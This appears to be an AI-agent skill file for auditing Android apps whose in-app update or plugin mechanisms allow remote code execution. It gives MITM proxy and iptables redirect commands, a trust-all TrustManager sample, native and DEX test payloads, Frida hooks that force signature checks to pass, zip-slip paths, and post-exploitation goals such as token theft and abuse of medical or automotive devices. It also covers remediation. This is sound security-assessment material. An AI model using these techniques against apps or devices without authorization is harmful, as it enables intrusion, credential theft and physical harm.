Hacktricks-skills android-insecure-updater-audit

Audit Android applications for insecure in-app update mechanisms that could lead to remote code execution. Use this skill whenever you need to assess Android apps for plugin/dynamic feature vulnerabilities, analyze update metadata encryption, identify insecure TLS configurations, or test for RCE via malicious plugin injection. Trigger this skill for any Android security assessment involving app updates, plugin systems, or dynamic code loading.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce/SKILL.MD
source content

Android Insecure In-App Update Audit

This skill helps security professionals identify and exploit insecure in-app update mechanisms in Android applications that could lead to remote code execution (RCE).

When to Use This Skill

Use this skill when:

  • Assessing Android apps for security vulnerabilities
  • Looking for insecure plugin or dynamic feature update channels
  • Analyzing apps that implement custom update mechanisms instead of Google Play Store updates
  • Testing for RCE via malicious plugin injection
  • Auditing automotive, IoT, or medical device companion apps
  • Reviewing apps with custom network endpoints for updates, plugins, or patches

Quick Triage Checklist

Start by checking if the app has an in-app updater:

Static Analysis (JADX/apktool)

Look for these indicators:

String patterns:

  • update
    ,
    plugin
    ,
    patch
    ,
    upgrade
    ,
    hotfix
    ,
    bundle
    ,
    feature
    ,
    asset
    ,
    zip

Network endpoints:

  • /update
    ,
    /plugins
    ,
    /getUpdateList
    ,
    /GetUpdateListEx

Crypto helpers near update paths:

  • DES/AES/RC4 implementations
  • Base64 encoding/decoding
  • JSON/XML serialization

Dynamic loaders:

  • System.load()
  • System.loadLibrary()
  • dlopen()
  • DexClassLoader
  • PathClassLoader

Suspicious patterns:

  • Unzip operations writing to app-internal or external storage
  • Immediate loading of
    .so
    or DEX files after extraction

Runtime Monitoring

Use the Frida hook script to monitor dynamic loading:

frida -U -f com.example.app -l scripts/frida_hooks.js --no-pause

This will log:

  • Native library loads (
    System.load
    ,
    System.loadLibrary
    ,
    Runtime.load
    )
  • DEX class loader invocations
  • File paths being loaded

Attack Surface Analysis

1. Identify Insecure TLS Configuration

Step 1: Decompile the APK and locate the networking stack (OkHttp, HttpURLConnection, Retrofit).

Step 2: Search for custom

TrustManager
or
HostnameVerifier
implementations:

// Vulnerable pattern - trusts all certificates
public static TrustManager[] buildTrustManagers() {
    return new TrustManager[]{
        new X509TrustManager() {
            public void checkClientTrusted(X509Certificate[] chain, String authType) {}
            public void checkServerTrusted(X509Certificate[] chain, String authType) {}
            public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
        }
    };
}

Step 3: If found, the app accepts any TLS certificate. You can run a transparent MITM proxy:

mitmproxy -p 8080 -s scripts/mitmproxy_addon.py

Step 4: Redirect traffic on rooted device/emulator:

iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080

2. Reverse-Engineer Update Metadata

Step 1: Identify the crypto routine used for metadata encryption:

  • Algorithm (DES/AES/RC4)
  • Mode of operation (ECB/CBC/GCM)
  • Hard-coded key/IV

Step 2: Use the decryption script to analyze metadata:

python scripts/decrypt_metadata.py \
  --algorithm DES \
  --mode ECB \
  --key "\x2A\x10\x2A\x10\x2A\x10\x2A" \
  --input encrypted_metadata.b64 \
  --output decrypted.json

Step 3: Examine the decrypted metadata structure:

  • Plugin file names
  • Download URLs
  • Version information
  • Hash/signature fields

Common patterns observed (2023-2025):

  • JSON-within-XML or protobuf metadata
  • Weak ciphers with static keys
  • Plain HTTP for payload downloads even with HTTPS metadata
  • Plugins unzipping to app-internal storage

3. Craft Test Payloads

Native Library Payload

Create a malicious native library that executes on load:

// payload.c
#include <android/log.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__((constructor))
void init(void) {
    __android_log_print(ANDROID_LOG_INFO, "AUDIT", "Test payload loaded! uid=%d", getuid());
    // Add test code here - file creation, network calls, etc.
}

Compile for the target architecture:

aarch64-linux-android-gcc -shared -fPIC payload.c -o libtest.so
arm-linux-androideabi-gcc -shared -fPIC payload.c -o libtest_arm.so

Package as a plugin:

zip -r test_plugin.zip libtest.so assets/ meta.txt

DEX-Based Payload

For apps using

DexClassLoader
:

// src/test/AuditMarker.java
package test;
public class AuditMarker {
    static {
        try {
            Runtime.getRuntime().exec("sh -c 'echo AUDIT_MARKER > /data/data/<pkg>/files/test_marker' ");
        } catch (Throwable t) {
            t.printStackTrace();
        }
    }
}

Build the DEX:

javac -source 1.8 -target 1.8 -d out/ src/test/AuditMarker.java
jar cf audit_marker.jar -C out/ .
d8 --output outdex/ audit_marker.jar
cd outdex && zip -r plugin.jar classes.dex

4. Intercept and Modify Updates

Use the mitmproxy addon to intercept update requests:

mitmproxy -p 8080 -s scripts/mitmproxy_addon.py

The addon can:

  • Intercept update metadata requests
  • Replace with modified metadata pointing to test payloads
  • Log all update-related traffic

Host test payloads:

python3 -m http.server 8000 --directory ./test_payloads/

5. Bypass Signature/Hash Checks

If the updater validates signatures or hashes, use Frida to bypass:

frida -U -f com.example.app -l scripts/bypass_checks.js --no-pause

This hooks:

  • java.security.Signature.verify()
    - always returns true
  • java.util.Arrays.equals()
    - always returns true for byte arrays
  • Common vendor verification methods

Other Attack Surfaces

Zip Slip Path Traversal

Check if the app properly sanitizes zip entry paths:

// Vulnerable - doesn't validate paths
ZipInputStream zis = new ZipInputStream(new FileInputStream(updateFile));
ZipEntry entry;
while ((entry = zis.getNextEntry()) != null) {
    File outputFile = new File(extractDir, entry.getName()); // DANGER
    // ... extract without validation
}

Test with malicious zip entries:

  • ../../../../data/data/<pkg>/files/target
  • Absolute paths
  • Symlink attacks

External Storage Staging

If the app writes archives to external storage before loading:

  • Any other app can tamper with the file
  • Scoped Storage (Android 10+) mitigates this
  • Check for
    requestLegacyExternalStorage
    usage

Cleartext Downloads

Metadata over HTTPS but payload over HTTP:

  • Straightforward MITM swap
  • Check network security config for cleartext allowances

Incomplete Signature Checks

Common weaknesses:

  • Comparing only a single file hash, not the whole archive
  • Not binding signature to developer key
  • Accepting any RSA key present in the archive
  • Missing version binding in metadata

React Native / Web-Based OTA

If native bridges execute JS from OTA without strict signing:

  • Arbitrary code execution in app context
  • Insecure CodePush-like flows
  • Ensure detached update signing and strict verification

Post-Exploitation Considerations

If you successfully load a malicious plugin:

  1. Credential Theft:

    • Session cookies
    • OAuth tokens
    • JWTs stored by the app
  2. Persistence:

    • Plugins cached on disk persist across reboots
    • Execute every time the related feature is used
  3. Hardware Abuse:

    • Automotive apps: OBD-II/CAN bus commands
    • IoT devices: Control connected hardware
    • Medical devices: Manipulate device behavior
  4. Privilege Escalation:

    • Drop second-stage APK if
      REQUEST_INSTALL_PACKAGES
      is declared
    • Abuse app's existing permissions (camera, GPS, Bluetooth, filesystem)

Detection & Mitigation Checklist

For Security Assessments

CheckStatusNotes
Custom TrustManager foundDocument if present
TLS pinning implementedCheck for proper implementation
Update metadata encryptedNote algorithm and key handling
Signature verification presentTest for bypasses
Payload integrity checksHash/signature validation
Internal storage onlyNo external storage staging
Zip path validationNo Zip Slip vulnerability
Cleartext traffic blockedNetwork security config

For Developers (Remediation)

  1. Prefer Play-Mediated Updates:

    • Avoid dynamic code loading when possible
    • Use Google Play App Updates API
  2. If Dynamic Plugins Are Required:

    • Design as data-only bundles
    • Keep executable code in base APK
    • Use detached update signing (Ed25519/RSA)
    • Verify before loading, fail closed
  3. TLS Configuration:

    • No custom trust-all managers
    • Deploy certificate pinning where feasible
    • Hardened network security config
    • Disallow cleartext traffic
  4. Crypto Best Practices:

    • Use modern crypto (AES-GCM)
    • Per-message nonces for metadata
    • No hard-coded keys in clients
    • Bind metadata and payload (length, hash, version)
  5. Integrity Validation:

    • Verify signature covering every file
    • Or minimum: manifest of SHA-256 hashes
    • Reject extra/unknown files
  6. Storage Security:

    • App-internal storage only
    • Scoped storage on Android 10+
    • File permissions preventing cross-app tampering
  7. Zip Slip Prevention:

    • Normalize and validate zip entry paths
    • Reject absolute paths or
      ..
      segments
    • Use allow-lists for extraction paths
  8. Code Transparency:

    • Consider Play "Code Transparency"
    • Verify shipped DEX/native code matches build

Scripts Reference

decrypt_metadata.py

Decrypts/encrypts update metadata with various algorithms.

python scripts/decrypt_metadata.py --help

frida_hooks.js

Monitors dynamic code loading in real-time.

frida -U -f com.example.app -l scripts/frida_hooks.js --no-pause

mitmproxy_addon.py

Intercepts and modifies update traffic.

mitmproxy -p 8080 -s scripts/mitmproxy_addon.py

bypass_checks.js

Bypasses signature and hash verification.

frida -U -f com.example.app -l scripts/bypass_checks.js --no-pause

References

Important Notes

  • Authorization Required: Only test apps you own or have explicit authorization to assess
  • Legal Compliance: Ensure all testing complies with applicable laws and regulations
  • Safety First: When testing automotive/medical device apps, ensure no harm can come to users or equipment
  • Documentation: Document all findings with evidence for remediation
  • Responsible Disclosure: Follow responsible disclosure practices for vulnerabilities found in third-party apps